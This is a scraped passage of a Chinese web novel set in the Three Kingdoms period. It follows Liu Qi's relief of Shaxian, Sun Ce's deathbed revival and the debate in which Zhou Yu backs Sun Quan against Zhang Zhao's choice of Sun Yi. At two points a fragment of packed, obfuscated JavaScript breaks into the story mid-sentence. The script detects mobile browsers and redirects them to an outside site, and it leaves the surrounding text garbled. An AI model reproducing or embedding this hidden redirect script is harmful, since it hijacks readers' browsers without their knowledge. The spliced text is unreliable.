“周瑜把沙羡的粮草、军械搬得一干二净,独独留下了这满城百姓,是想让我陷入‘救则耗粮、不救则失民心’的两难之地啊。” 诸葛亮羽扇轻指城内,颔首道:“周瑜此计,颇为毒辣,意在用这些张口待食的百姓,拖住我军脚步,消耗我军粮秣,使其无法迅速进出夏口。 “幸得主公采纳建言,多备了二十艘运粮船,这随船的三千石粟米,足够支撑城中百姓十日之需。” “待我后方江陵粮道接通,沙羡便可稳如磐石,成为我军前进的坚固哨垒。” 刘琦当即颔首,扬声传令:“陈应!” “末将在!”身后襄阳营校尉陈应跨步出列。 陈应素以军纪严明著称,才会被刘琦提拔为襄阳营校尉。 “命你率所部五千人即刻登岸入城,随后掌控城门、府库、码头等要害!” 刘琦目光锐利,严令道,“若有士卒滋扰百姓、私取民物者,立斩不赦!” “末将遵令!” 陈应抱拳领命,随即转身便点兵登岸,队伍肃整,毫无纷乱。 而诸葛亮刻主持赈济事宜,从运粮船中调拨粟米,在城中心设立三处赈济点,按“每户每日一升”发放 同时,刘琦大量张贴安民告示,明确宣告:“凡**东军强占之家产田亩,待战事平息后,经核实尽数归还原主,且今岁秋收之前,一律免除赋税!” 而江夏主簿、此次率**家私兵前来助战的**珍,被刘琦委以重任,寻找沙羡城中尚未逃离的旧吏,迅速清查城内,弹压城内骚乱。 而**珍也不负刘琦所望,当日便以雷霆手段处斩了三名趁乱劫掠、罪证确凿的悍匪,城内秩序为之一肃。 百姓们见这位刘荆州的长公子不仅早有准备,携粮而来,而且法令严明,承诺归还田产、减免赋税,无不感激涕零,纷纷在门前设香叩拜。 沙羡城的民心,在一日之内,便迅速安定归附。 而沙羡刚定,斥候便带来了最新探报。 一是江东援军动向:庐江凌操、凌统父子已率三千部曲抵达夏口之外的鹦鹉洲驻扎。 二是孙权与徐琨率领万余主力已过柴桑,预计三日内可抵达夏口。 同时,周瑜正在沔水口一带加紧构筑防御工事。 还有就是关于刘琦特别叮嘱寻找的甘宁。 斥候仔细核查了目前探知的夏口江东将校名册,并无甘宁之名,询问降卒,也无人见过那位锦帆招摇的猛将。 刘琦得报,沉吟片刻,心中暗自思虑。 “昔日黄祖被阵斩时甘宁为前锋,如今既未见他降了江东,以其性格,必是率其旧部往鄱阳湖那般水泽纵横之处隐匿去了。 当初我势单力薄,写信招揽,他未必肯来。 如今我已是手握数万兵马的江夏太守,坐拥江陵,兵发东征,锐意与江东争雄,正是用人之际,也该是时候了。 刘琦思忖着,甘宁曾提出的要求,无非是能展现实力、给予信任的平台,如今自己似乎正逐步满足这些条件。 与江东争锋,尤其需要甘宁这样的水战将才。 于是,刘琦当即选派精明干练的使者,携带他的亲笔信和厚礼,绕开江东防线,秘密前往鄱阳湖水域,寻找并招揽甘宁。 就在刘琦整顿沙羡、稳定民心时。 夏口城内的气氛却异常沉重压抑。 衙署后院,一间守卫森严的卧房内。 昏迷多日的孙策,面色蜡黄,气息微弱,已是弥留之际。 忽然,孙策眼皮颤动,竟缓缓睁开了眼睛,那眼神异常清明,甚至带着一丝锐利,多日的晕厥让孙策一时间说不出话来,张了张嘴发出一声嘶哑的呻吟。 守在榻边的两个仆役原本正垂头打盹,猛地听见孙策发出嘶哑身,先是惊得一哆嗦,随即狂喜地看向床榻上的孙策,声音都发颤:“将军!您醒了!您终于醒了!” 仆役哪懂什么回光返照? 只知道孙策高烧昏迷数日,连肩膀上的创伤都快腐烂生蛆,而此刻睁眼,便是从鬼门关闯回来了! 孙策喉间滚了滚,干裂的嘴唇翕动着,好不容易挤出沙哑的两个字:“水……” 孙策顿了顿,又用气声补了句,“还有弄点吃食……” “哎!好!将军您等着,小的这就去!” 一个仆役激动得直抹眼泪,转身就往屋外冲,边跑边喊:“醒了!将军醒了!快把温好的水、熬好的肉粥端来!快点——!” 相比欣喜若狂的仆役,帐角的军医却僵在原地,仆役不懂回光返照,他军医能不懂吗? 高烧多日退得突兀,且苏醒时眼神亮得吓人,这分明是油尽灯枯前的回光返照,预示着这位叱咤江东的“小霸王”已到了生命尽头。 军医垂在身侧的手死死攥着药箱带子,心头像压了块石头:将军这是……撑不了多久了啊。” 可这话军医不敢说,只能忍着喉头的哽咽,默默退到角落,看着仆役忙前忙后,眼底满是藏不住的悲戚。 不多时,仆役端着冒着热气的肉粥和温水进来,小心翼翼地喂孙策。 孙策也不讲究,靠着枕垫,一手扶着碗沿,呼噜呼噜地往嘴里灌,粥汁沾了些在嘴角,孙策也顾不上擦,一碗稠粥竟片刻就见了底,只喘着气对仆役说:“再……再来一碗。” 就在这时,屋外一阵密集的脚步声传来。 不多时,周瑜披甲率先入内,黄盖、程普、韩当等人紧随其后,鱼贯而入,甲叶轻响。 见孙策捧碗喝粥,周瑜先惊后喜。 而黄盖、程普、韩当等人,则是欣喜若狂,有的按捺不住想上前,又怕扰了孙策。 众人齐齐驻足,孙策将手中的空碗递给仆役,哑声道:“公瑾、德谋、义公……你们来了。” 周瑜闻言,心头先是一阵狂喜。 先前孙策昏迷时,军医屡次言及凶险,以至于周瑜夜里闲下来时,想起此事都以为,自己这位情同兄弟的主公要熬不过去,如今见人醒着,只觉悬了多日的石头终于落地。 紧接着,周瑜想起自己先前因孙策病危,擅自做了放弃沙羡的决定。 虽说周瑜是为稳住军心、保全江东战力,可孙策终究是主,他是臣,这般未禀明便定夺的事,总得当面说清。 念及此,周瑜忙快步上前两步,刚要开口提这事,目光却先落在了孙策脸上:那蜡黄如纸的面色、毫无血色的唇,哪有半分好转的模样? 方才周瑜的欣喜瞬间僵在了脸上,心中的喜意瞬间褪尽,只剩惶恐。 周瑜也略通医术,怎会看不出这是回光返照的颓势? 心口猛地一沉,眉峰拧成死结,喉头发紧,竟说不出话。 孙策见周瑜这模样,扯了扯嘴角,哑声问:“公瑾,怎的这副神情?” “我既醒了,你倒似见了鬼般?” 身后黄盖等人落后半步,没看清孙策细微的颓态,听闻孙策如此说道。 黄盖一边往前走一边粗着嗓子打趣周瑜:“公瑾你咋回事?将军醒了是天大的喜事,你倒绷着脸,难不成不盼着将军好.........” 黄盖话没说完,便猛地顿住了,刚才离的远,黄盖等将领还看不出来,现在这一近,孙策的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591496|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样貌顿时看的清切。 他们皆是军中宿将,半辈子见惯了生死,即便不懂医术,但孙策这副样貌一看便知道不是要好了。 程普、韩当等人也跟着上前半步,待看清孙策模样后,先前的喜色也如退潮般散了,屋内原本稍松的气氛,又沉沉地压了下来。 孙策原本扯着的嘴角,见黄盖话头突顿、周瑜眉峰紧锁,连程普、韩当都没了半分喜色,脸上浅淡的笑意便慢慢敛了去。 孙策喘了口气,挪动一下身子,目光扫过屋内一个个绷着的脸。 这模样,哪里是见他苏醒该有的神情? 先前的热络与欣喜,像被什么无形的东西掐断了似的,瞬间没了踪影。 孙策先前扯着的嘴角慢慢敛了,却没半分颓丧,只喘了口气,抬眼扫过屋内僵立的众人。 孙策哑声开口时,仍带着几分往日横枪立马的豪气:“别都垂头耷脑的,我这身子骨,自己还不清楚?” “生死由命,本就是大丈夫该认的理,有什么好绷着脸的?” 孙策说完顿了顿,笑了声,那笑里没有为自己即将死亡的半分悲戚,倒有几分庆幸:“幸得泰山府君念我孙伯符攻取江东六郡不易,在此危难时刻留我这口气,让我能醒来见你们这些老兄弟、老部下一面,开**代几句后事,足以!” 孙策这话刚落,屋内顿时响起了抽气声。 周瑜只觉得鼻尖酸得厉害,眼眶也红了几分,黄盖等将领,此刻也别过脸,心头堵得厉害。 连帐角的军医、榻边的仆役也忍不住红了眼,想起孙策平日待他们的恩义,眼泪啪嗒往下掉。 孙策见了,反倒朗声道:“哭什么?我还没断气呢!” 孙策撑着枕垫坐直些,语气里带着不容置疑的利落,“都把眼泪擦了,泰山府君留我这口气,不是让我来听你们哭泣的!” 孙策话音刚落,屋内哭声戛然而止。 周瑜顶着泛红的眼眶,往前半步抱拳,朗声道:“末将(臣)听候主公吩咐!” 黄盖、程普等人也齐齐敛去悲戚,按剑抱拳,齐声应和,甲叶碰撞声里满是肃然。 孙策微微颔首,目光扫过众人,沉声道:“子步(张昭)、二弟(孙权)、三弟(孙翊),此刻到了何处?” 孙策这话问的是三人到了何处,而不是传令让他们来。 便是知道自己重创昏迷多日,危在旦夕,军中军政岂能无主? 而周瑜心思缜密,定早让人去请他这两个弟弟前来。 而张昭是江东内政柱石,自己要交代后事,文武心腹缺一不可,周瑜断不会漏了他。 是以孙策才会问三人到了何处,而不传令唤三人来,就是料定诸事已在周瑜安排之中。 周瑜抱拳躬身,沉声回禀:“回主公,三日前我军退守夏口后,末将便已加派快马使者,连夜赶赴吴郡,去请张长史、二公子与三公子率军前来支援。” 周瑜身为江东水师将领,对江东境内水域、行船时序熟得不能再熟。 是以周瑜顿了顿补充道:“若他们接令后即刻乘船动身,此刻想来已过豫章,不日便能抵达夏口。” 孙策闻言,喉间低低叹了口气,目光扫过窗隙瞥见院落里几枝树枝正随风沙沙响动,哑声道:“公瑾有心了......只是不知,泰山府君还肯留我几日……” 话音刚落,孙策语气添了几分急切:“公瑾即刻再遣精锐快使追上去,传我口谕:让他们舍弃随行部曲,换乘快船,只带亲信侍卫,日夜兼程赶来!” 周瑜刚沉声道“诺”。 孙策便虚弱摆了摆手,焦黄的脸庞也冒出细汗,声音中带着掩不住的疲惫:“都退下吧……公瑾,快使之事你亲自去盯。” “韩当、黄盖,你们各回营寨,约束好部卒,莫让各营因我而乱了。” 众将见孙策焦黄的脸庞,连呼吸都比刚才急促,知道是回光返照撑着孙策说了这许久话,如今已耗尽力气,便不敢再多言。 几人齐齐抱拳躬身,轻手轻脚退出帐外,只留两名贴身仆役在旁静候。 而屋内瞬间静下来后,孙策靠在枕上,只觉得连睁眼都费力。 方才周瑜提的“从沙羡退守夏口”,孙策不是没听进耳,只是此刻孙策哪还有心思追问缘由? 沙羡的战事、夏口的防务,在继承人未定,自己辛苦打拼出来的基业面前,都成了次要了。 孙策此时心里只反复悬着一句话:仲谋(孙权)、叔弼(孙翊)你们得快点来呀.....” (本章完) 第33章 文武争锋!江东之主花落谁家? 孙策并非没想过将江东传位给儿子孙绍的心,那是他的亲骨肉,掌心肉一般的存在。 可孙绍此时一两岁年纪,连话都说不全,如何扛得住江东六郡这幅担子。 更何况,这基业从不是他孙家独有的私产。 是孙策同周瑜、程普他们跨江击刘繇,顶着箭雨打黄祖,是他们陪着孙策啃下一座座硬城,是江东文武上下拧成一股绳拼出来的。 若因孙策一己之私传位稚子,引来了宗室争权、外臣生异,他与麾下兄弟半生血战的心血,岂不全白费了? 是以在“护幼子”与“保基业”之间,孙策咬着牙选了后者。 至于传位二弟孙权还是三弟孙翊,孙策眼下尚未全然定夺,但心底已隐隐偏了孙权。 孙策太清楚两个弟弟的脾性了。 要是论疆场争雄、开疆拓土,孙权不如自己,也不及孙翊骁勇。 可若说守业安内、御下用人、把江东这盘棋稳稳托住,沉毅持重的孙权,反倒比他这个“小霸王”更合适。 第二日,长江水裹挟着浊浪,拍打夏口水门木栅时,一艘快船正劈开浪花,箭一般冲向夏口城水门。 夏口城恰似嵌在山水之间的一块楔子,两面**水环裹。 西侧便是汉水,江面虽不如长江宽阔,却水流湍急,与长江在此交汇,两水激荡撞在一处,翻涌着拍打城根。 东侧紧依长江主航道,方才快船驶来的水门,便开在临江一侧,平日里粮草、军械皆由此水运入城。 整个夏口城,唯有西北方向留出一处陆地城门,这般“两面临江、一面靠山、独留一门通陆路”的城池布局。 难怪会成日后江东扼守江夏的要冲——进可顺江取荆州,退可凭山水守江东,正是易守难攻的兵家重地。 而夏口城的背后,则靠着一座青郁山峦,山势陡峻,半山腰上立着几座烽燧,山顶隐约可见戍楼,登高便能俯瞰两江交汇的全貌,正是天然的防御屏障。 水门值守的士卒刚要举旗喝问,但看清船首那熟悉的徽记与快船形制,握着旗帜的手便是一顿。 这是江东军的加急快船,寻常只有传递紧急军情或重要人物赶路时才会动用。 水门值守的校尉忙挥手示意放行,木栅缓缓向两侧拉开,快船几乎擦着栅柱驶过,船尾留下一道长长的水痕,转眼便稳稳停在了城内码头。 快船船首立着三人,为首者身着素色襜褕,面容尚带稚气却眉宇沉毅,正是日后‘威震华夏’的吴大帝孙权。 孙权身侧一人同样年轻,眉目间带着几分桀骜,则是孙策三弟孙翊。 最后一位须发皆白,身着儒衫,正是吴郡长史张昭同时也是江东内政第一人。 而在船舱之内,一道素雅身影**,怀中抱着一名一两岁的婴孩。 身影正是孙策之妻大乔。 大乔一身绮素,容颜清丽绝伦,眉眼间却凝着一抹挥之不去的轻愁。 这愁绪,并非全为榻上垂危的丈夫。 更有是去年孙策攻打舒城时父乔公惶恐,竟忧虑成疾,今春病情骤然加重,竟尔溘然长逝。 大乔身为女儿,虽已出嫁,然父亲膝下无子,她心伤父丧,此刻本应安心守孝,却被卷入这权力的漩涡中心。 此刻,大乔神色平静,甚至带着几分疏离。 对于孙策,这个当年攻破舒城后,以胜利者姿态将她强纳为妻的“小霸王”,大乔心中实在难有多少夫妻情分。 那段婚姻,始于掳掠,何谈两情相悦?大乔低头看着怀中懵懂的儿子孙绍,眼神复杂难明。 就在数日之前,大乔尚在舒城老家为父亲乔公披麻守孝。 孙策重伤垂危的消息传来,江东核心顷刻间阴云密布。 其母吴夫人当机立断,便以“宗祧为重”为由,特遣心腹之人,星夜兼程赶赴舒城,几乎是半请半迫地将尚在孝中的大乔与孙绍接来。 此举于公,孙绍乃孙策嫡子,父亲临终,儿子必须在场,此乃人伦孝道。 然而在那冠冕堂皇的“宗祧为重”之下,藏着的是吴夫人的**算计:一来,吴夫人深知这儿媳是当年强纳而来,并非同心,值此巨变,若让她携嫡子久居外地,难保不会心生动摇,或被其他诸侯势力笼络、挟制,那将对江东基业造成致命威胁。 二来,孙策未曾明言传位于谁,幼子孙绍在法理上仍是重要的继承人选之一,必须将其牢牢控于掌中,方能主导后续局面。 而堤岸之上早已立着一道挺拔身影,正是周瑜,此时周瑜鬓角沾着江雾,甲胄边缘还凝着未干的湿意,显然已在此等候许久。 快船船还未停稳,孙权便踩着跳板跃下,鞋履沾了江泥也顾不上擦,对着来迎接自己的周瑜急声问:“公瑾,兄长究竟如何了?” 孙权面露忧色,沉毅的脸上少见地露出急切,攥着周瑜手腕的力道重了些都不自知。 旁人只道孙权是忧心兄长伤势,却不知孙权心底早翻涌了一路。 昨日,他们刚过柴桑,便接到周瑜使者带来的孙策口谕,孙权便觉出不对劲。 兄长素来要强他们,即便是军情紧急,也从不会让他们“舍弃部曲、乘快船”赶路,这般急切,定是伤势凶险到了极致。 是以话刚出口,孙权自己先觉出声音里的颤:既想问清兄长近况,又怕听到那最坏的答案;既急着知道“弃部曲赶路”的缘由,又隐隐怕印证心底的猜测。 唯有紧攥周瑜手腕的而发白的指节,泄露出这位少年公子此刻的焦灼。 孙权虽已能代兄长镇守吴郡、调度粮草,可在“兄长安危”这件事上,终究还是那个盼着兄长平安归来的弟弟。 周瑜自然是看出孙权他眼底的焦灼,于是便带着几分克制的悲戚:“仲谋莫急,主公确实醒着,此刻就在中军帐内,只是……” 周瑜顿了顿,目光扫过孙权身后的孙翊与张昭,终究没把“油尽灯枯”的话说透,只沉沉道,“醒后耗了不少气力,身子虚得很,这才急着叫你们来。” 周瑜话音落时,孙权与张昭已然心领。 周瑜虽然没有明说但这话里的“凶险”藏得明明白白,二人也懂了孙策为何要他们弃部曲急赶,当下二人心里齐齐一沉。 唯有孙翊没听出端倪,只急着见兄长,猛地拨开亲兵嚷:“既醒着,那还等什么!” “快带我去见兄长!” 孙翊性子本就桀骜急躁,此刻听闻孙策身子虚,更是半点耐性也无。 “叔弼!”周瑜连忙伸手拦住孙翊,“中军帐有规制,需容我引路。” 说罢,周瑜转身对着孙权与张昭微微颔首,“诸位随我来,主公还在帐里等着。” 周瑜引着几人快步往中军帐去,沿途甲士见此阵仗。 往日从容的周校尉步履匆匆,连二公子、三公子都弃部曲轻装赶来。 再想起连日来周瑜、程普等人频繁紧蹙主公院落,军医们进出不断,,是以不少士卒,早就在心里打了转,暗自猜度主公伤势定是凶险。 个个垂首肃立,面色凝重,眼底藏着惶恐,巡逻脚步都放得极轻。 不多时,周瑜一行人,来到孙策院落,而院落内的仆役甲士显然早有吩咐,无需通报,直接领着周瑜一行人进入孙策房内。 而屋内早已布置妥当。 孙策榻前铺着三具整洁的蒲团,程普、黄盖几位老将垂手立在帐侧,面色沉肃。 榻边候着两名捧着药碗的仆役,连帐角悬着的灯烛,都调得明暗适中,恰好能照清榻上人的模样。 孙策斜靠在软枕上,布帻松松裹着发髻,见周瑜他们进来,勉强抬了抬眼,声音沙哑着:“来了……都坐吧。” 孙权脚步顿了顿,见兄长眼底没了往日锐光,面色焦黄如纸,身形也瘦削得塌在软枕里,心又沉了沉。 孙翊刚跨进帐,目光扫到孙策这副模样。 脸颊凹陷,连往日紧抿的唇都没了血色,方才的急躁瞬间变成慌急,脚步猛地加快,抢步到榻前就要喊“兄长”,却被程普悄悄拽住了衣袖。 周瑜则引着张昭在蒲团上坐下,自己立在榻边,目光落在孙策脸上,满是忧色。 一切准备就绪后,孙策靠在软枕上,目光缓缓扫过帐内众人,这些人,有的跟着他从曲阿起兵,有的是他平定江东后收服的宿将,皆是他最信任的肱骨之臣。 孙策咳了两声,伸手按住胸口,待气息稍匀,才缓缓开口:“诸位跟着我孙策,从曲阿到会稽,跨江击刘繇,临水战黄祖,好不容易把江东六郡拼了下来。” “可天不人愿,如今我这身子……怕是撑不了多久了。” 屋内顿时响起一阵压抑的抽气声,黄盖忍不住道:“主公胡说什么!军医说了,只要好生休养……” “公覆,” 孙策摆了摆手,眼底带着一丝了然的笑意,“我自己的身子,我清楚。” “今日叫你们来,不为别的,就为一件事——我死后,江东这副担子,该交给谁。” 这话一出,屋内瞬间死寂。 接着所有人的目光都落在孙权与孙翊身上,此时两三岁年纪,传承之事,自然只能在这两位公子间定夺。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591497|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>孙翊闻言,猛地抬头看向孙策,眼中闪过一丝急切,孙权则垂着眼帘,手指攥着衣襟,却未发一言。 孙策咳着按住胸口,目光扫过屋内诸人,程普鬓角染霜,黄盖手按刀柄,韩当垂着眼,都是从父亲孙坚时便跟着孙家拼杀的旧部,还有张昭、周瑜,是他定江东时最倚重的臂膀。 孙策等自己喘匀些气,声音虽弱却字字恳切:“这江东六郡,不是我孙策一人拼来的,父亲留下的旧部跟着我出生入死,子布、公瑾为我筹谋调度,诸位都流了血、费了心,这基业里,有你们每一个人的份。” “如今我身子不成了,” 孙策顿了顿,目光沉了沉,“江东这担子,得找个人接,我儿子绍儿还小,撑不起场面,只能在仲谋、叔弼里选。” “这事不单是我孙家的事,更是关乎江东所有人的安稳,我得听听你们的意思。” 话落,屋内静得能听见城外江水拍岸声。 程普、韩当几人互相递了个眼色,都垂着眼没吭声。 他们是孙坚时代的老人,跟着孙策打天下,已是两代主君,此刻若先开口站队,不论选谁,都怕落个“倚老卖老”的话柄。 况且如今江东根基已立,他们跟着孙家历经两代主君,流血流汗立下汗马功劳。 在他们看来,只要后继者是孙坚后人,不论最终是哪位公子接位,都绝不会亏待他们这些老臣,更不会动他们的既得利益。 这份底气,足够让他们沉住气,不必急着站队。 是以,屋内众人的目光,不自觉都聚到了张昭身上。 谁都清楚,孙策攻取江东时,张昭便是长史,掌内政、统文官,连孙策自己都说“内事不决问张昭”,说是孙策之下第一人,半点不假。 便是周瑜掌水师、威望重,在江东集团内,也得让张昭三分。 孙策也抬眼看向张昭,眼底带着托付的郑重。 孙策心里随早有倾向,却也知道,若没有与张昭达成共识,这传位的事,还不算真的定了。 张昭感受着满屋聚焦的目光,指尖摩挲着胡须梢,嘴角噙着一丝不易察觉的笑意。 这份众望所归的分量,正是他地位的印证,张昭心里甚是满意。 张昭沉吟片刻,对着孙策行了一礼眼底已盘算清楚:那就是立孙翊,这既是公心,也藏私心。 公心是眼下江东初定,外有曹操、刘表虎视,内有山越不服,正需一个像孙策这般勇武果决的主君领兵镇场。 私心则是孙翊性子、行事都像极了孙策,若孙翊继位,定能延续“主君掌军外拓,自己掌内政稳固后方”的格局,自己在江东的核心地位,也能稳稳保住。 想罢,张昭缓缓开口:“主公既问,臣便直言,当下江东初定,内有山越未平,外有曹操、刘表虎视,新主需得像主公这般勇武果决、能镇住场面的,方能保江东无虞啊。 张昭话落,屋内先是一静,张昭虽然没有明说,但谁都听出这话里的意思,“像主公这般勇武果决”,分明指的是性子、做派都酷似孙策的孙翊。 孙翊眼睛瞬间亮了,方才因兄长病容憋的慌急,此刻全化作按捺不住的欣喜。 只觉得张昭这话一出口,这事便定了大半——毕竟是江东内政第一人,连父亲旧部都跟着点头。 且兄长既当众问众人意见,张长史可是江东内政第一人,这话里明摆着属意自己,兄长难道还会驳他的面子? 有张昭这话当砝码,这江东的担子,十有**落定在自己身上了! 此时孙翊嘴角都快翘到耳根,攥着剑柄的指节都因为用力而泛白。 张昭这话出口,程普、黄盖几人已微微颔首,眼看就要跟着附和,而兄长自始至终没反驳,这不就是默认了? 孙翊只觉得胜券在握,连呼吸都轻快几分,只等诸将齐声劝进,这事便板上钉钉。 可没等程普等将领开口,侧旁忽然传来一声沉朗的“且慢”。 众人转头,见周瑜掀了掀衣袍上前。 周瑜与孙策情同手足,又是连襟之亲,孙策一个眼神、一声沉默,周瑜都能揣度分明。 方才孙策听张昭说话时,指尖悄悄扣了下榻沿,那是孙策心有不同却暂不言语的模样。 若孙策真认同张昭,以孙策对周瑜的信任,早该示意他附和了。 周瑜目光扫过帐内,沉声道:“诸位,张长史所言虽有考量,然瑜有不同看法。” 周瑜是孙策最亲近的兄弟,也是江东水师主将,周瑜的话,分量不比张昭轻多少。 (本章完) 第34章 孙策托孤,江东易主! 周瑜顿了顿,看向孙策:“主公当年能尽取江东六郡,主要原因是江东是一盘散沙。” “刘繇据曲阿,王朗守会稽,许贡在吴郡,各自为战,互不统属。” “主公凭一己之勇,率精锐逐个击破,这是‘破局’” “可如今江东六郡已归一统,我们要面对的,是荆州刘表父子虎视,北方曹操或袁绍一方取胜后,必南向观兵,还有交州士燮坐拥岭南,虽无北上之志但却仍然不可小觑。” “这些对手,不是单凭一人勇武就能战胜的。” 屋内诸将皆沉默下来,连张昭也皱起眉头,听周瑜继续说:“他们不是刘繇、许贡之流,可凭一将勇武,行险策一战而定,面对这样能整合一州乃至数州之力的强敌,一城乃至数城得失,是伤不及根本的,唯有聚合己方全部力量,与之相争,在寻机将其蚕食。” 周瑜转身指向孙权,声音掷地有声:“而二公子仲谋,虽不如主公与三公子骁勇,却沉毅持重,善听谏言,御下有术。 “昔年主公出征,留仲谋守吴郡,他既能安抚百姓,又能调度粮草,连老臣们都赞他‘少年老成’。” “去年讨平山越,他虽未临阵,却为大军筹措了三个月的粮草,这份内政之才,正是江东接下来最需要的。” “至于整合人才....” 周瑜看向张昭,“子布先生是江东士族领袖,仲谋素来敬重先生;程将军、黄将军是军中宿将,仲谋也常向诸位请教军务。 仲谋能容人,能用人,能把文臣的智、武将的勇拧成一股绳,反观三公子.....” 周瑜话锋一转,却无贬低之意,“叔弼勇武有余,沉稳不足,临阵破敌是良将,但若论统筹全局、安抚各方,终究不如仲谋周全。” 张昭听得周瑜这番话,捋着胡须沉吟半晌,才缓缓开口:“公瑾所言,确有道理。” “只是……江东基业,是主公凭着刀枪拼来的,若主君失了勇武之气,恐难服众啊。” “子布先生多虑了。” 周瑜摇头,“江东的勇武之气,在程将军、黄将军,在我等将士身上。” “主君需做的,是让这份勇武用在实处,而不是亲自披甲上阵。” “主公当年是‘拓土’,仲谋接下来是‘守业’,而后‘拓业’,不同之时,需不同之主。” 屋内静了下来,诸将你看我,我看你,先前附和张昭的几位老将,此刻也微微点头。 周瑜的话,句句戳中要害。 他们跟着孙策打天下,靠的是勇猛,可如今要守天下,面对的是曹操、刘表这样的强敌,确实需要一位能整合力量的主君。 全程,孙策始终沉默着,枯瘦的手搭在榻沿,目光缓缓扫过屋内众人,从张昭的沉吟,到周瑜的恳切,再到诸将态度的松动,眼底的了然渐渐浓了几分。 屋内静了片刻,凌操最先按捺不住。 自跟着孙策平定江东,哪次征战不是他带头冲在最前? 庐江讨山贼时被冷箭射穿肩胛,吴郡战严白虎时差点被围杀,多少次从**堆里爬出来,图的不就是往上荣华富贵? 如今熬了五年,才混到庐江都尉,还得和庐江太守李术分掌兵权。 庐江有八千多兵马,凌操领着三千,李术五千。 而要**劳,哪个功劳能抵得上从龙之功? 而先前张昭说“需勇武主君”,凌操心里变打了鼓,暗自琢磨要不要凑孙翊那边。 可当凌操抬眼看向孙策却始终没应声,接着再瞧见周瑜站出来力挺孙权,凌操心里猛地透亮。 周瑜与孙策情同手足,又是连襟,孙策心里想什么,周瑜最清楚。 若孙策真属意孙翊,早该给周瑜递话让他附和张昭了,哪会让他当众唱反调? 想透这点,凌操往前迈了半步,粗声开口:“公瑾说得对!” “这几年庐江不太平,不是剿山匪,就是剿水贼,我们前头拼杀得凶,后头全靠二公子坐镇吴郡调度有方。” “不是我说,若没二公子在后方稳着,我们这些人在前线,哪能安心拼命?” 凌操这话不是空捧,而是他亲身经历,所以说出来掷地有声。 紧随其后附和的是豫章守将吕范。 他虽不及张昭资深,却也是孙策倚重的近臣,此刻躬身道:“二公子善听谏言,攻取豫章是,便劝主公缓攻豫章、先稳内政,后来果然避免了粮草不济的麻烦,这份远见,正是江东所需。” 两人一开口,屋内几个近年被孙策提拔的校尉也纷纷点头。 他们和凌操、吕范一样,根基浅,都想借着拥立之功再进一步,见这两位带头,也跟着附和“二公子沉稳,堪当大任”。 唯有程普、黄盖、韩当几人依旧垂着眼,站在床榻旁纹丝不动。 程普捻着花白的胡须,目光扫过凌操等人,嘴角没什么表情,这些后生想挣功劳,他们管不着。 但他们是跟着孙坚打天下的老人,孙家两代主君都是他们看着长大的,只要孙策没亲口定调,他们便半句不掺和,反正无论谁继位,他们这些老骨头的位置都稳,犯不着凑这热闹。 张昭看了眼凌操、吕范身后附和的新锐,又瞥了眼沉默的程普三人,指尖摩挲着胡须梢,眉头稍松。 新锐派倒向孙权,老臣虽不表态却也没反对,眼下这局面,倒也不算失衡。 孙策靠在软枕上,听着凌操的实在话、吕范的附和,焦黄的脸上露出一丝不易察觉的笑意。 心中暗自欣慰:公瑾果然没辜负自己的托付,这情义兄弟、连襟至亲,终究是最懂他的。 凌操、吕范肯站出来,不单是因为周瑜劝,是因为他们真受过孙权的好处,这才是最扎实的人心。 孙策心中早有传位孙权之意,却始终不先开口。 孙策此刻重伤垂危,若强行定夺,虽凭主君权威能压下众人,却恐留“独断”隐患。 一旦孙策故去,张昭与旧部若心存芥蒂,江东必生裂隙。 倒不如做个“裁判员”,让周瑜出头陈说利弊,推着众人达成共识,然后自己再一锤定音。 毕竟,唯有江东上下一心认下的主君,才能坐稳这基业。 孙策见屋内共识已聚,枯瘦的手颤巍巍伸到枕下,摸出那方印着“吴侯”二字的青铜印绶。 印绶边角已被孙策摩挲得发亮,印绶只有孙策半块巴掌大小,但却孙策执掌江东五年的凭证。 孙策摩挲了一下手中印绶,心中很是不舍。 心中不舍但也只是一瞬,孙策抬手招了招,声音虽弱,却让屋内所有动静都停了:“仲谋,过来。” 孙权闻言膝盖一软,跪倒在榻前,泪水早糊了脸,心中悲喜交加。 孙策将印绶递到孙权面前,印绶冰凉的触感让孙权猛地一颤,刚要推辞,便听孙策沉声道:“天下方乱,吴越之众、三江之固,本可大有作为,,天不遂人愿,偏叫我孙策没争鼎天下的命。” 孙策将印绶递到孙权面前,见孙权接过后,忽然攥紧孙权手掌沉声道:“凭什么争霸天下,涿鹿中原只能是那些汉室宗亲,世家大族?我孙家就只能是地方小豪强?” 孙策说这话时语气凝着不甘,但随即又松了劲:“这口气,我争不动了,仲谋替我、替孙家争!” 不待泪流满脸点头的孙权回话。 孙策转头看向张昭、程普等人,目光扫过屋内文武,字字恳切: “子布、德谋(程普字),还有诸位,我孙策这辈子,蒙父亲旧部不弃,靠诸位拼杀,才挣下这六郡之地。” “如今我去后,还望你们好生辅佐仲谋,莫因他年轻,便轻慢了他。” 张昭先前的沉吟早已散了,此刻上前一步,躬身叩首:“老臣必竭尽所能,不负主公所托!” 程普、黄盖几人也终于动了,齐齐跪倒在地,甲叶碰撞声震得屋内发颤:“末将等誓死辅佐新主!” 凌操、吕范等新锐更是哽咽着附和,屋内再无半分观望之态。 孙策这才转回目光,盯着孙权的眼睛,一字一句道:“若说举江东之众,临阵决机、与天下争衡,你不如我。” “可若论举贤任能,让文臣武将各尽其力,保江东安稳,我不如你。” 